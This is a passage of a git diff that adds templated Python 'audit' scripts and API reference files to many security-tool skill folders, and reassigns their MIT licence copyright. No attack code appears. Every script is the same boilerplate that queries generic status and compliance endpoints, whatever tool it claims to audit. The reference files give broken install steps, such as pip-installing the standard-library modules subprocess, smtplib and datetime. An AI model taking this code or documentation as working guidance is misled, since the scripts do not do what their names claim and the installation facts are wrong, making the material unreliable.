b/skills/implementing-soar-playbook-with-palo-alto-xsoar/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""Cortex XSOAR playbook audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Cortex XSOAR playbook audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Cortex XSOAR playbook audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-stix-taxii-feed-integration/LICENSE b/skills/implementing-stix-taxii-feed-integration/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-stix-taxii-feed-integration/LICENSE +++ b/skills/implementing-stix-taxii-feed-integration/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-stix-taxii-feed-integration/references/api-reference.md b/skills/implementing-stix-taxii-feed-integration/references/api-reference.md new file mode 100644 index 00000000..a88bf9ab --- /dev/null +++ b/skills/implementing-stix-taxii-feed-integration/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: STIX/TAXII feed integration audit + +## API Details +taxii2client.Server(), Collection.get_objects(), stix2.parse(), indicator extraction + +## Installation +```bash +pip install stix2 taxii2client +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `stix2` | stix2 client/SDK | +| `taxii2client` | taxii2client client/SDK | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-stix-taxii-feed-integration/scripts/agent.py b/skills/implementing-stix-taxii-feed-integration/scripts/agent.py new file mode 100644 index 00000000..903c9632 --- /dev/null +++ b/skills/implementing-stix-taxii-feed-integration/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""STIX/TAXII feed integration audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="STIX/TAXII feed integration audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] STIX/TAXII feed integration audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-supply-chain-security-with-in-toto/LICENSE b/skills/implementing-supply-chain-security-with-in-toto/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-supply-chain-security-with-in-toto/LICENSE +++ b/skills/implementing-supply-chain-security-with-in-toto/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-supply-chain-security-with-in-toto/references/api-reference.md b/skills/implementing-supply-chain-security-with-in-toto/references/api-reference.md new file mode 100644 index 00000000..dcb1f84b --- /dev/null +++ b/skills/implementing-supply-chain-security-with-in-toto/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: in-toto supply chain security audit + +## API Details +in-toto-run, in-toto-verify, layout creation, functionary keys, supply chain steps + +## Installation +```bash +pip install subprocess +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `subprocess` | subprocess client/SDK | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-supply-chain-security-with-in-toto/scripts/agent.py b/skills/implementing-supply-chain-security-with-in-toto/scripts/agent.py new file mode 100644 index 00000000..b4758bf5 --- /dev/null +++ b/skills/implementing-supply-chain-security-with-in-toto/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""in-toto supply chain security audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="in-toto supply chain security audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] in-toto supply chain security audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-syslog-centralization-with-rsyslog/LICENSE b/skills/implementing-syslog-centralization-with-rsyslog/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-syslog-centralization-with-rsyslog/LICENSE +++ b/skills/implementing-syslog-centralization-with-rsyslog/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-taxii-server-with-opentaxii/LICENSE b/skills/implementing-taxii-server-with-opentaxii/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-taxii-server-with-opentaxii/LICENSE +++ b/skills/implementing-taxii-server-with-opentaxii/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-taxii-server-with-opentaxii/references/api-reference.md b/skills/implementing-taxii-server-with-opentaxii/references/api-reference.md new file mode 100644 index 00000000..8703b7dc --- /dev/null +++ b/skills/implementing-taxii-server-with-opentaxii/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: OpenTAXII server configuration audit + +## API Details +TAXII 2.1: GET /taxii2/, GET /api/collections, GET /api/collections/{id}/objects + +## Installation +```bash +pip install taxii2client requests +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `taxii2client` | taxii2client client/SDK | +| `requests` | requests client/SDK | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-taxii-server-with-opentaxii/scripts/agent.py b/skills/implementing-taxii-server-with-opentaxii/scripts/agent.py new file mode 100644 index 00000000..efcfd67c --- /dev/null +++ b/skills/implementing-taxii-server-with-opentaxii/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""OpenTAXII server configuration audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="OpenTAXII server configuration audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] OpenTAXII server configuration audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-threat-intelligence-lifecycle-management/LICENSE b/skills/implementing-threat-intelligence-lifecycle-management/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-threat-intelligence-lifecycle-management/LICENSE +++ b/skills/implementing-threat-intelligence-lifecycle-management/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-threat-intelligence-lifecycle-management/references/api-reference.md b/skills/implementing-threat-intelligence-lifecycle-management/references/api-reference.md new file mode 100644 index 00000000..305572d8 --- /dev/null +++ b/skills/implementing-threat-intelligence-lifecycle-management/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: Threat intelligence lifecycle audit + +## API Details +PyMISP: get_event(), add_event(), search(), stix2: Indicator, Malware, Bundle + +## Installation +```bash +pip install pymisp stix2 +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `pymisp` | pymisp client/SDK | +| `stix2` | stix2 client/SDK | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-threat-intelligence-lifecycle-management/scripts/agent.py b/skills/implementing-threat-intelligence-lifecycle-management/scripts/agent.py new file mode 100644 index 00000000..29488bac --- /dev/null +++ b/skills/implementing-threat-intelligence-lifecycle-management/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""Threat intelligence lifecycle audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Threat intelligence lifecycle audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Threat intelligence lifecycle audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-threat-intelligence-platform/LICENSE b/skills/implementing-threat-intelligence-platform/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-threat-intelligence-platform/LICENSE +++ b/skills/implementing-threat-intelligence-platform/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-threat-modeling-with-mitre-attack/LICENSE b/skills/implementing-threat-modeling-with-mitre-attack/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-threat-modeling-with-mitre-attack/LICENSE +++ b/skills/implementing-threat-modeling-with-mitre-attack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-ticketing-system-for-incidents/LICENSE b/skills/implementing-ticketing-system-for-incidents/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-ticketing-system-for-incidents/LICENSE +++ b/skills/implementing-ticketing-system-for-incidents/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-usb-device-control-policy/LICENSE b/skills/implementing-usb-device-control-policy/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-usb-device-control-policy/LICENSE +++ b/skills/implementing-usb-device-control-policy/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-usb-device-control-policy/references/api-reference.md b/skills/implementing-usb-device-control-policy/references/api-reference.md new file mode 100644 index 00000000..e351bfbb --- /dev/null +++ b/skills/implementing-usb-device-control-policy/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: USB device control policy audit + +## API Details +PowerShell: Get-PnpDevice, udevadm info, registry HKLM USB control, device whitelist + +## Installation +```bash +pip install subprocess +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `subprocess` | subprocess client/SDK | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-usb-device-control-policy/scripts/agent.py b/skills/implementing-usb-device-control-policy/scripts/agent.py new file mode 100644 index 00000000..ae93884a --- /dev/null +++ b/skills/implementing-usb-device-control-policy/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""USB device control policy audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="USB device control policy audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] USB device control policy audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-velociraptor-for-ir-collection/LICENSE b/skills/implementing-velociraptor-for-ir-collection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-velociraptor-for-ir-collection/LICENSE +++ b/skills/implementing-velociraptor-for-ir-collection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-velociraptor-for-ir-collection/references/api-reference.md b/skills/implementing-velociraptor-for-ir-collection/references/api-reference.md new file mode 100644 index 00000000..923ace74 --- /dev/null +++ b/skills/implementing-velociraptor-for-ir-collection/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: Velociraptor IR collection audit + +## API Details +Velociraptor API: POST /api/v1/CreateFlow, GET /api/v1/GetFlowResults, VQL queries + +## Installation +```bash +pip install requests subprocess +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests client/SDK | +| `subprocess` | subprocess client/SDK | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-velociraptor-for-ir-collection/scripts/agent.py b/skills/implementing-velociraptor-for-ir-collection/scripts/agent.py new file mode 100644 index 00000000..0d749211 --- /dev/null +++ b/skills/implementing-velociraptor-for-ir-collection/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""Velociraptor IR collection audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Velociraptor IR collection audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Velociraptor IR collection audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-vulnerability-remediation-sla/LICENSE b/skills/implementing-vulnerability-remediation-sla/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-vulnerability-remediation-sla/LICENSE +++ b/skills/implementing-vulnerability-remediation-sla/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-vulnerability-remediation-sla/references/api-reference.md b/skills/implementing-vulnerability-remediation-sla/references/api-reference.md new file mode 100644 index 00000000..2b214ff0 --- /dev/null +++ b/skills/implementing-vulnerability-remediation-sla/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: Vulnerability remediation SLA tracking + +## API Details +SLA tiers: Critical=24h, High=72h, Medium=30d, Low=90d, Tenable/Qualys API + +## Installation +```bash +pip install requests datetime +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests client/SDK | +| `datetime` | datetime client/SDK | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-vulnerability-remediation-sla/scripts/agent.py b/skills/implementing-vulnerability-remediation-sla/scripts/agent.py new file mode 100644 index 00000000..b84018f8 --- /dev/null +++ b/skills/implementing-vulnerability-remediation-sla/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""Vulnerability remediation SLA tracking.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Vulnerability remediation SLA tracking") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Vulnerability remediation SLA tracking") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-vulnerability-sla-breach-alerting/LICENSE b/skills/implementing-vulnerability-sla-breach-alerting/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-vulnerability-sla-breach-alerting/LICENSE +++ b/skills/implementing-vulnerability-sla-breach-alerting/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-vulnerability-sla-breach-alerting/references/api-reference.md b/skills/implementing-vulnerability-sla-breach-alerting/references/api-reference.md new file mode 100644 index 00000000..758e2543 --- /dev/null +++ b/skills/implementing-vulnerability-sla-breach-alerting/references/api-reference.md @@ -0,0 +1,29 @@ +# API Reference: Vulnerability SLA breach alerting agent + +## API Details +SLA calculation, SMTP notification, Slack webhook, Jira ticket creation + +## Installation +```bash +pip install requests smtplib datetime +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests client/SDK | +| `smtplib` | smtplib client/SDK | +| `datetime` | datetime client/SDK | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-vulnerability-sla-breach-alerting/scripts/agent.py b/skills/implementing-vulnerability-sla-breach-alerting/scripts/agent.py new file mode 100644 index 00000000..2d12725d --- /dev/null +++ b/skills/implementing-vulnerability-sla-breach-alerting/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""Vulnerability SLA breach 